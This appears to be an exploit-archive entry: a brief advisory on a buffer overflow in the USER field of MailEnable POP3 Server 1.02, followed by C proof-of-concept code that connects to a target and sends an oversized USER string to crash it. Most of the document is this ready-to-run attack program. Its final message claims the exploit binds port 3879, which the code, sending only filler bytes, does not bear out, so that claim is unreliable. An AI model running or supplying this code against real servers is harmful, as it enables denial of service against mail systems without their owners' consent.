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86 lines
No EOL
2.3 KiB
C
86 lines
No EOL
2.3 KiB
C
// source: https://www.securityfocus.com/bid/6197/info
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A buffer overflow vulnerability has been reported for MailEnable's POP3 server. The vulnerability is due to insufficent bounds checking of the USER login field.
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An attacker can exploit this vulnerability by connecting to a vulnerable MailEnable server and sending an overly long string as the value for the USER login prompt. This will trigger the buffer overflow condition.
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/*
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*
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* Written by redsand
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* <redsand@redsand.net>
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* Vuln. date found: November 18. 2002
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* Vulnerable: Windows 9x/NT/XP MailEnable POP Server Version 1.02
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*
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* Usage: ./mailenable-dos.1.3 <host> [port] [port] is optional. default is in the #define (port 110)
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* Need to Enable [offset] in final release.
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*
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* Proof of Concept code (PoC)
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*
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*/
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#include <stdio.h>
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#include <stdlib.h>
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#include <errno.h>
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#include <string.h>
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#include <netdb.h>
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#include <sys/types.h>
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#include <netinet/in.h>
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#include <sys/socket.h>
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#define PORT 110
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char string[2010];
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char death[2500];
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char top[5], end[50];
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char tag[] = "::redsand.net::";
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int main(int argc, char *argv[]) {
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int sockfd, port, i;
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char buf[2500];
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struct hostent *ha;
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struct sockaddr_in sa;
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if (argc < 2 ) {
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printf("MailEnable POP Server Version 1.02 DoS\n:: redsand <at> redsand.net\r\nUsage: %s <host> <port>\n", argv[0]);
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exit(0);
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}
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if (argv[2]) {
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port = atoi(argv[2]);
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} else { port = PORT; }
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for( i = 0; i <2009; i++) {
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string[i] = 'A';
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}
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strcpy(top,"USER ");
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strcpy(end,tag);
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strcpy(death,top);
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strcat(death,string);
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strcat(death,end);
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if (!(ha = gethostbyname (argv[1])))
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perror ("gethostbyname");
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bzero (&sa, sizeof (sa));
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bcopy (ha->h_addr, (char *) &sa.sin_addr, ha->h_length);
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sa.sin_family = ha->h_addrtype;
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sa.sin_port = htons (port);
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if ((sockfd = socket (ha->h_addrtype, SOCK_STREAM, 0)) < 0) {
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perror ("socket");
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exit (1);
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}
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printf("MailEnable :: redsand <at> redsand.net\r\n+ connecting...\n");
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if (connect (sockfd, (struct sockaddr *) &sa, sizeof(sa)) < 0) {
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perror ("connect");
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exit (1);
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}
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printf("+ connected\n+ sending request to pop3 server\n");
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send(sockfd, death, sizeof(death), 0);
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// read(sockfd, buf, 2050, 0);
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close(sockfd);
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printf("+ finished\n");
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printf("\r\rIf exploit worked, then it should bind port on 3879\n");
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}
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/* redsand.net */ |